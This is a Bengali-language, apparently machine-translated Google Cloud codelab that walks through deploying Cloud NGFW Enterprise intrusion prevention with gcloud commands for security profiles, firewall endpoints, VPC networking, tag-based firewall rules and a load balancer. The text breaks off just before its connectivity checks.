ক্লাউড NGFW এন্টারপ্রাইজ - অনুপ্রবেশ প্রতিরোধ পরিষেবা (TLS পরিদর্শন ছাড়া)

1. ভূমিকা

ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল (NGFW)

ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল হল একটি সম্পূর্ণ বিতরণ করা ফায়ারওয়াল পরিষেবা যা উন্নত সুরক্ষা ক্ষমতা, মাইক্রো-সেগমেন্টেশন, এবং আপনার Google ক্লাউড ওয়ার্কলোডগুলিকে অভ্যন্তরীণ এবং বাহ্যিক আক্রমণ থেকে রক্ষা করার জন্য ব্যাপক কভারেজ সহ।

ক্লাউড NGFW এর নিম্নলিখিত সুবিধা রয়েছে:

  • বিতরণকৃত ফায়ারওয়াল পরিষেবা: ক্লাউড এনজিএফডব্লিউ শূন্য-বিশ্বাস সুরক্ষা আর্কিটেকচার সক্ষম করতে প্রতিটি কাজের চাপে একটি রাষ্ট্রীয়, সম্পূর্ণভাবে বিতরণ করা হোস্ট-ভিত্তিক প্রয়োগ প্রদান করে।
  • সরলীকৃত কনফিগারেশন এবং স্থাপনা: ক্লাউড NGFW নেটওয়ার্ক এবং হায়ারার্কিক্যাল ফায়ারওয়াল নীতি প্রয়োগ করে যা একটি রিসোর্স হায়ারার্কি নোডের সাথে সংযুক্ত করা যেতে পারে। এই নীতিগুলি Google ক্লাউড সংস্থান অনুক্রম জুড়ে একটি সামঞ্জস্যপূর্ণ ফায়ারওয়াল অভিজ্ঞতা প্রদান করে৷
  • গ্রানুলার কন্ট্রোল এবং মাইক্রো-সেগমেন্টেশন: ফায়ারওয়াল পলিসি এবং আইডেন্টিটি অ্যান্ড অ্যাকসেস ম্যানেজমেন্ট (IAM)-শাসিত ট্যাগগুলির সমন্বয় ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) জুড়ে একটি একক VM পর্যন্ত উত্তর-দক্ষিণ এবং পূর্ব-পশ্চিম উভয় ট্র্যাফিকের জন্য সূক্ষ্ম নিয়ন্ত্রণ প্রদান করে। নেটওয়ার্ক এবং সংগঠন।

ক্লাউড NGFW নিম্নলিখিত স্তরগুলিতে উপলব্ধ:

ক্লাউড NGFW এন্টারপ্রাইজ

ক্লাউড NGFW এন্টারপ্রাইজ ইনট্রুশন প্রিভেনশন সার্ভিস (IPS) , একটি লেয়ার 7 ক্ষমতা, বিতরণ করা Google ক্লাউড ফায়ারওয়াল ফ্যাব্রিকে যোগ করে। TLS পরিদর্শন টিএলএস এনক্রিপ্ট করা ট্র্যাফিকের জন্য পরিদর্শনের অনুমতি দেওয়ার জন্য সমর্থিত, তবে এটি এই কোডল্যাবের সুযোগের বাইরে ( টিএলএস পরিদর্শনের সাথে ক্লাউড এনজিএফডাব্লু এন্টারপ্রাইজ কোডল্যাব দেখুন)।

আপনি এখন আপনার নেটওয়ার্ক আর্কিটেকচার বা রাউটিং কনফিগারেশনে কোনো পরিবর্তন না করেই দানাদার নিয়ন্ত্রণ সহ নির্ভরযোগ্য লেয়ার 7 নেক্সট জেনারেশন ফায়ারওয়াল (NGFW) পরিদর্শন স্থাপন করতে পারেন।

IPS এর সাথে লেয়ার 7 ফায়ারওয়াল কন্ট্রোল সক্রিয় এবং স্থাপন করতে, আপনাকে নিম্নলিখিত কাজগুলি সম্পাদন করতে হবে:

  • Google ক্লাউড পরিচালিত জোনাল ফায়ারওয়াল এন্ডপয়েন্টের একটি সেট তৈরি করুন।
  • ঐচ্ছিকভাবে একটি TLS পরিদর্শন নীতি তৈরি করুন (এই কোডল্যাবে অন্তর্ভুক্ত নয়)
  • ঐচ্ছিকভাবে একটি ট্রাস্ট কনফিগ তৈরি করুন (এই কোডল্যাবে আচ্ছাদিত নয়)
  • ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) নেটওয়ার্কগুলির সাথে এই শেষ পয়েন্টগুলিকে সংযুক্ত করুন যেখানে আপনার ক্লাউড NGFW এন্টারপ্রাইজ পরিষেবা প্রয়োজন৷
  • বিভিন্ন ট্র্যাফিক পথের জন্য হুমকি প্রতিরোধ প্রোফাইল নির্দিষ্ট করতে আপনার বিদ্যমান ফায়ারওয়াল নীতি এবং ফায়ারওয়াল নিয়মগুলিতে সহজ পরিবর্তন করুন।

নেটওয়ার্ক ফায়ারওয়াল নীতি

নেটওয়ার্ক ফায়ারওয়াল নীতি ফায়ারওয়াল নিয়মগুলির জন্য একটি ধারক হিসাবে কাজ করে। একটি নেটওয়ার্ক ফায়ারওয়াল নীতিতে সংজ্ঞায়িত নিয়মগুলি VPC নেটওয়ার্কের সাথে সম্পর্কিত না হওয়া পর্যন্ত কোথাও প্রয়োগ করা হয় না৷ প্রতিটি VPC নেটওয়ার্ক এর সাথে যুক্ত একটি নেটওয়ার্ক ফায়ারওয়াল নীতি থাকতে পারে। নেটওয়ার্ক ফায়ারওয়াল নীতিগুলি ফায়ারওয়াল নিয়মে IAM-শাসিত ট্যাগ (বা শুধু ট্যাগ) সমর্থন করে, যা বর্তমান নেটওয়ার্ক ট্যাগগুলি প্রতিস্থাপন করে এবং কাজের চাপে পরিচয় প্রদান করতে ব্যবহার করা যেতে পারে।

নেটওয়ার্ক জুড়ে একটি নেটওয়ার্ক ফায়ারওয়াল নীতি শেয়ার করা এবং IAM-শাসিত ট্যাগের সাথে একীকরণ ফায়ারওয়ালের কনফিগারেশন এবং পরিচালনাকে ব্যাপকভাবে সহজ করে।

নেটওয়ার্ক ফায়ারওয়াল নীতির প্রবর্তনের সাথে, Google ক্লাউডের ফায়ারওয়াল নীতিগুলি এখন নিম্নলিখিত উপাদানগুলি নিয়ে গঠিত:

  1. হায়ারার্কিক্যাল ফায়ারওয়াল নীতি
  2. ভিপিসি ফায়ারওয়ালের নিয়ম
  3. নেটওয়ার্ক ফায়ারওয়াল নীতি ( গ্লোবাল এবং আঞ্চলিক )

হায়ারার্কিক্যাল ফায়ারওয়াল নীতিগুলি সংস্থান এবং ফোল্ডার নোডগুলিতে সংস্থান অনুক্রমের মধ্যে সমর্থিত, যেখানে VPC ফায়ারওয়াল নিয়ম এবং নেটওয়ার্ক ফায়ারওয়াল নীতিগুলি VPC স্তরে প্রয়োগ করা হয়। VPC ফায়ারওয়াল নিয়ম এবং নেটওয়ার্ক ফায়ারওয়াল নীতিগুলির মধ্যে একটি বড় পার্থক্য হল VPC ফায়ারওয়াল নিয়মগুলি শুধুমাত্র একটি একক VPC নেটওয়ার্কে প্রয়োগ করা যেতে পারে, যেখানে নেটওয়ার্ক ফায়ারওয়াল নীতিগুলি ব্যাচ আপডেটের মতো অন্যান্য সুবিধাগুলির মধ্যে একটি একক VPC বা VPC-এর গ্রুপের সাথে সংযুক্ত হতে পারে।

অবশেষে, আমাদের কাছে অন্তর্নিহিত ফায়ারওয়াল নিয়ম রয়েছে যা প্রতিটি ভিপিসি নেটওয়ার্কের সাথে আসে:

  • একটি প্রস্থান নিয়ম যার ক্রিয়া অনুমোদিত, গন্তব্য হল 0.0.0.0/0৷
  • একটি প্রবেশের নিয়ম যার ক্রিয়া অস্বীকার করা হয়, উত্স হল 0.0.0.0/0৷

ডিফল্টরূপে, প্রয়োগের ক্রম নিম্নলিখিত চিত্রে দেখানো হয়েছে:

21b3bcabc469ffe.png

দয়া করে মনে রাখবেন যে VPC ফায়ারওয়াল নিয়ম এবং গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল নীতির মধ্যে এনফোর্সমেন্ট অর্ডার অদলবদল করা যেতে পারে। গ্রাহকরা যেকোন সময় একটি gcloud কমান্ডের মাধ্যমে এনফোর্সমেন্ট অর্ডার নির্দিষ্ট করতে পারেন।

IAM-শাসিত ট্যাগ

নেটওয়ার্ক ফায়ারওয়াল নীতির নিয়মে সংহত নতুন ট্যাগগুলি হল Google ক্লাউড সংস্থান অনুক্রমের সংস্থা বা প্রকল্প-স্তরে সংজ্ঞায়িত মূল-মূল্যের জোড়া সংস্থান৷ এই ধরনের ট্যাগে একটি IAM অ্যাক্সেস কন্ট্রোল থাকে, নাম থেকে বোঝা যায় যে ট্যাগে কে কী করতে পারে তা নির্দিষ্ট করে। IAM অনুমতি, উদাহরণস্বরূপ, কোন প্রিন্সিপাল ট্যাগগুলিতে মান নির্ধারণ করতে পারে এবং কোন প্রিন্সিপাল সম্পদগুলিতে ট্যাগ সংযুক্ত করতে পারে তা নির্দিষ্ট করার অনুমতি দেয়। একবার কোনও সংস্থানে ট্যাগ প্রয়োগ করা হলে, নেটওয়ার্ক ফায়ারওয়াল নিয়মগুলি ট্র্যাফিকের অনুমতি এবং অস্বীকার করতে এটি ব্যবহার করতে পারে।

ট্যাগগুলি Google ক্লাউডের উত্তরাধিকার সংস্থান মডেলকে মেনে চলে, যার অর্থ ট্যাগ এবং তাদের মানগুলি তাদের পিতামাতার কাছ থেকে শ্রেণিবিন্যাস জুড়ে দেওয়া হয়৷ ফলস্বরূপ, ট্যাগগুলি এক জায়গায় তৈরি করা যেতে পারে এবং তারপরে অন্যান্য ফোল্ডার এবং প্রকল্পগুলি সমস্ত রিসোর্স ক্রমানুসারে ব্যবহার করতে পারে। ট্যাগ এবং অ্যাক্সেস সীমাবদ্ধতার বিশদ বিবরণের জন্য এই পৃষ্ঠাটি দেখুন।

ট্যাগগুলিকে নেটওয়ার্ক ট্যাগের সাথে বিভ্রান্ত করা উচিত নয়। পরেরটি হল স্ট্রিং যা কম্পিউট ইঞ্জিন ইনস্ট্যান্সে যোগ করা যেতে পারে; তারা দৃষ্টান্তের সাথে যুক্ত থাকে এবং দৃষ্টান্তটি বাতিল হয়ে গেলে অদৃশ্য হয়ে যায়। ভিপিসি ফায়ারওয়ালের নিয়মে নেটওয়ার্ক ট্যাগ থাকতে পারে, কিন্তু যেহেতু সেগুলিকে ক্লাউড রিসোর্স হিসেবে গণ্য করা হয় না, সেগুলি আইএএম অ্যাক্সেস নিয়ন্ত্রণের অধীন নয়।

নোট করুন যে ট্যাগ এবং IAM-শাসিত ট্যাগগুলি এই নথিতে বিনিময়যোগ্যভাবে ব্যবহার করা হচ্ছে৷

আপনি কি নির্মাণ করবেন

এই কোডল্যাবের জন্য একটি একক প্রকল্প এবং সর্বজনীন সংযোগ সহ একটি VPC নেটওয়ার্ক তৈরি করার ক্ষমতা প্রয়োজন এবং ক্লাউড NGFW এন্টারপ্রাইজ কীভাবে IPS কার্যকারিতা প্রদান করতে পারে তা প্রদর্শন করবে:

  • ইন্ট্রা-ভিপিসি/সাবনেট প্রবাহ পরিদর্শন করা হচ্ছে [পূর্ব-পশ্চিম]
  • ইন্টারনেট থেকে প্রবেশের প্রবাহ পরিদর্শন করা হচ্ছে [উত্তর-দক্ষিণ]

5-টুপল (সোর্স আইপি, গন্তব্য আইপি, প্রোটোকল, সোর্স পোর্ট, গন্তব্য পোর্ট) এবং ট্যাগ সহ ক্লাউড ফায়ারওয়াল ম্যাচিং প্যারামিটার ব্যবহার করে পরিদর্শন করা প্রবাহগুলি নির্বাচন করা হবে। TLS পরিদর্শন এই কোডল্যাবে অন্তর্ভুক্ত নয়।

52a0642ef8668ecf.png

নেটওয়ার্ক ফায়ারওয়াল নীতি নিয়মবেস নীচের টেবিলের অনুরূপ হবে:

অগ্রাধিকার

দিকনির্দেশনা

টার্গেট

উৎস

গন্তব্য

অ্যাকশন

টাইপ

100

প্রস্থান

কোয়ারেন্টাইন_ট্যাগ

যে কোন

যে কোন

অস্বীকার করুন

অপরিহার্য

1000

প্রবেশ

সার্ভার_ট্যাগ

স্বাস্থ্য-পরীক্ষার পরিসর

যে কোন

অনুমতি দিন

অপরিহার্য

2000

প্রবেশ

যে কোন

পরিচয়-সচেতন প্রক্সি রেঞ্জ

যে কোন

অনুমতি দিন

অপরিহার্য

3000

প্রবেশ

যে কোন

জিও, জিসিটিআই

যে কোন

অস্বীকার করুন

স্ট্যান্ডার্ড

4000

প্রস্থান

যে কোন

যে কোন

জিও, জিসিটিআই

অস্বীকার করুন

স্ট্যান্ডার্ড

5000

প্রস্থান

যে কোন

যে কোন

সিস্টেম আপডেট FQDNs

অনুমতি দিন

স্ট্যান্ডার্ড

6000

প্রবেশ

সার্ভার_ট্যাগ

10.0.0.0/24

যে কোন

আইপিএস

এন্টারপ্রাইজ

7000

প্রবেশ

সার্ভার_ট্যাগ

CloudNAT_IP

যে কোন

আইপিএস

এন্টারপ্রাইজ

আপনি কি শিখবেন

আপনি কি প্রয়োজন হবে

  • গুগল ক্লাউড প্রকল্প
  • দৃষ্টান্ত স্থাপন এবং নেটওয়ার্কিং উপাদান কনফিগার করার জ্ঞান
  • ভিপিসি ফায়ারওয়াল কনফিগারেশন জ্ঞান

2. আপনি শুরু করার আগে

ভেরিয়েবল তৈরি/আপডেট করুন

এই কোডল্যাবটি ক্লাউড শেল-এ gcloud কনফিগারেশন বাস্তবায়নে সহায়তা করার জন্য $variables ব্যবহার করে।

ক্লাউড শেল-এ, প্রয়োজন অনুসারে বন্ধনীর মধ্যে তথ্য প্রতিস্থাপন করে নীচের কমান্ডগুলি চালান (প্রকল্পটি ইতিমধ্যে সেট করা থাকলে প্রকল্পটি সেটিং এড়িয়ে যান)। যদি একাধিক ফায়ারওয়াল এন্ডপয়েন্টের প্রয়োজন হয় তাহলে সংগঠন-স্তরের সংস্থানগুলির জন্য একটি ভিন্ন পরিবর্তনশীল ব্যবহার করা হয়।

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. API সক্রিয় করুন৷

আপনি যদি তা না করে থাকেন তাহলে APIs সক্ষম করুন:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. ক্লাউড NGFW এন্টারপ্রাইজ সিকিউরিটি প্রোফাইল এবং এন্ডপয়েন্ট তৈরি

যেহেতু ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরিতে প্রায় 20 মিনিট সময় লাগে, তাই এটি প্রথমে তৈরি করা হবে এবং শেষ পয়েন্ট তৈরি করার সময় বেস সেটআপ সমান্তরালভাবে করা যেতে পারে।

নিরাপত্তা প্রোফাইল এবং নিরাপত্তা প্রোফাইল গ্রুপ তৈরি করুন:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

প্রত্যাশিত আউটপুট:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

নিশ্চিত করুন যে সম্পদগুলি সফলভাবে তৈরি করা হয়েছে:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

প্রত্যাশিত আউটপুট:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরি করুন:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

শেষ পয়েন্ট তৈরি করা হচ্ছে তা নিশ্চিত করতে নীচের কমান্ডটি চালান (STATE: CREATING )।

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (উল্লেখ্য যে আউটপুট বিন্যাস ব্যবহৃত ক্লায়েন্ট অনুযায়ী পরিবর্তিত হতে পারে):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

ঐচ্ছিকভাবে, আরও বিশদ পেতে নীচের কমান্ডটি চালান:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

শেষ পয়েন্ট তৈরির প্রক্রিয়াটি প্রায় 20 মিনিট সময় নেয়। সমান্তরালভাবে প্রয়োজনীয় সংস্থান তৈরি করতে বেস সেটআপ বিভাগে এগিয়ে যান।

5. বেস সেটআপ

আপনি যদি ম্যানুয়ালি বেস রিসোর্স তৈরি করতে চান তাহলে নিম্নলিখিত বিভাগে যান।

ভিপিসি নেটওয়ার্ক এবং সাবনেট

ভিপিসি নেটওয়ার্ক এবং সাবনেট

ভিপিসি নেটওয়ার্ক এবং সাবনেট তৈরি করুন:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

মেঘ NAT

ক্লাউড রাউটার এবং ক্লাউড NAT গেটওয়ে তৈরি করুন:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

আমি উদাহরণ

ক্লায়েন্ট এবং ওয়েব সার্ভার উদাহরণ তৈরি করুন:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

প্রকল্প-স্তরের ট্যাগ

প্রয়োজনে ব্যবহারকারীকে ট্যাগঅ্যাডমিন এবং/অথবা ট্যাগ ব্যবহারকারীর অনুমতি বরাদ্দ করুন:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

প্রকল্প-স্তরের ট্যাগ কী এবং মান তৈরি করুন:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

দৃষ্টান্তে ট্যাগ আবদ্ধ করুন:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল নীতি

বিশ্বব্যাপী নেটওয়ার্ক ফায়ারওয়াল নীতি তৈরি করুন:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

ক্লাউড ফায়ারওয়াল অত্যাবশ্যকীয় নিয়মগুলি তৈরি করুন যাতে কোয়ারেন্টাইন করা ঘটনাগুলি থেকে ট্র্যাফিক অস্বীকার করা যায় (কেবলমাত্র উদাহরণ হিসাবে তৈরি করা হয়েছে, এই কোডল্যাবে ব্যবহার করা হচ্ছে না) এবং স্বাস্থ্য-পরীক্ষা এবং পরিচয়-সচেতন প্রক্সি রেঞ্জ থেকে ট্রাফিকের অনুমতি দিন:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

ক্লাউড ফায়ারওয়াল স্ট্যান্ডার্ড নিয়মগুলি তৈরি করুন যাতে প্রবেশ এবং নিষেধাজ্ঞাযুক্ত দেশগুলি থেকে/তে ট্র্যাফিক প্রত্যাবর্তন অস্বীকার করতে, পরিচিত দূষিত আইপি এবং ToR প্রস্থান নোডগুলি; এবং শুধুমাত্র সিস্টেম আপডেটের জন্য নির্দিষ্ট FQDN-এ প্রস্থান ট্র্যাফিকের অনুমতি দিন (কেবলমাত্র উদাহরণ হিসাবে তৈরি করা হয়েছে, এই কোডল্যাবে ব্যবহার করা হচ্ছে না):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

নির্দিষ্ট রেঞ্জ থেকে পূর্ব-পশ্চিম / ইন্ট্রা-সাবনেট এবং উত্তর-দক্ষিণ / ইন্টারনেট ট্রাফিক প্রবেশের অনুমতি দেওয়ার জন্য ক্লাউড ফায়ারওয়াল নিয়ম তৈরি করুন (ক্লাউড NGFW এন্টারপ্রাইজ সক্ষম করতে এই নিয়মগুলি আপডেট করা হবে):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

নেটওয়ার্ক ফায়ারওয়াল নীতি VPC নেটওয়ার্কের সাথে সংযুক্ত করুন:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

বাহ্যিক TCP/UDP নেটওয়ার্ক লোড ব্যালেন্সার

একটি বাহ্যিক আইপি ঠিকানা সংরক্ষণ করুন এবং ইনস্ট্যান্স গ্রুপ এবং স্বাস্থ্য-পরীক্ষা তৈরি করুন:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

ব্যাকএন্ড পরিষেবা এবং ফরওয়ার্ডিং নিয়ম তৈরি করুন:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্ট অ্যাসোসিয়েশন

প্রয়োজনে এনভায়রনমেন্ট ভেরিয়েবল পুনরায় সংজ্ঞায়িত করুন।

নিশ্চিত করুন যে ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট তৈরি সফলভাবে সম্পন্ন হয়েছে। রাজ্যটিকে সক্রিয় হিসাবে দেখানো হলেই কেবল এগিয়ে যান (সৃষ্টির সময় প্রত্যাশিত অবস্থা তৈরি হচ্ছে):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (উল্লেখ্য যে আউটপুট বিন্যাস ব্যবহৃত ক্লায়েন্ট অনুযায়ী পরিবর্তিত হতে পারে):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

ঐচ্ছিকভাবে, আরও বিশদ পেতে নীচের কমান্ডটি চালান:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্টকে VPC নেটওয়ার্কের সাথে সংযুক্ত করুন:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

অ্যাসোসিয়েশন প্রক্রিয়াটি প্রায় 10 মিনিট সময় নেয়। রাষ্ট্রটি সক্রিয় হিসাবে দেখানো হলেই কেবলমাত্র এগিয়ে যান (প্রত্যাশিত রাষ্ট্রটি সৃষ্টি প্রক্রিয়ার সময় তৈরি হচ্ছে):

gcloud network-security firewall-endpoint-associations list

প্রত্যাশিত আউটপুট:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

ঐচ্ছিকভাবে, আরও বিশদ পেতে নীচের কমান্ডটি চালান:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. ক্লাউড NGFW এন্টারপ্রাইজ পরিদর্শন নিয়ম

একটি নতুন ট্যাব খুলুন এবং IAP এর মাধ্যমে ক্লায়েন্ট VM-এর সাথে একটি SSH সংযোগ শুরু করুন (আপনাকে নতুন ট্যাবে আবার ভেরিয়েবলগুলি সংজ্ঞায়িত করতে হবে):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

এসএসএইচ সেশনে প্রয়োজনীয় ভেরিয়েবলগুলি সংজ্ঞায়িত করুন এবং ভেরিয়েবলগুলি সেট করুন (মানগুলি সঠিক কিনা তা নিশ্চিত করুন):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

উভয় আইপি কার্ল করে নিশ্চিত করুন যে তারা পৌঁছানো যায়:

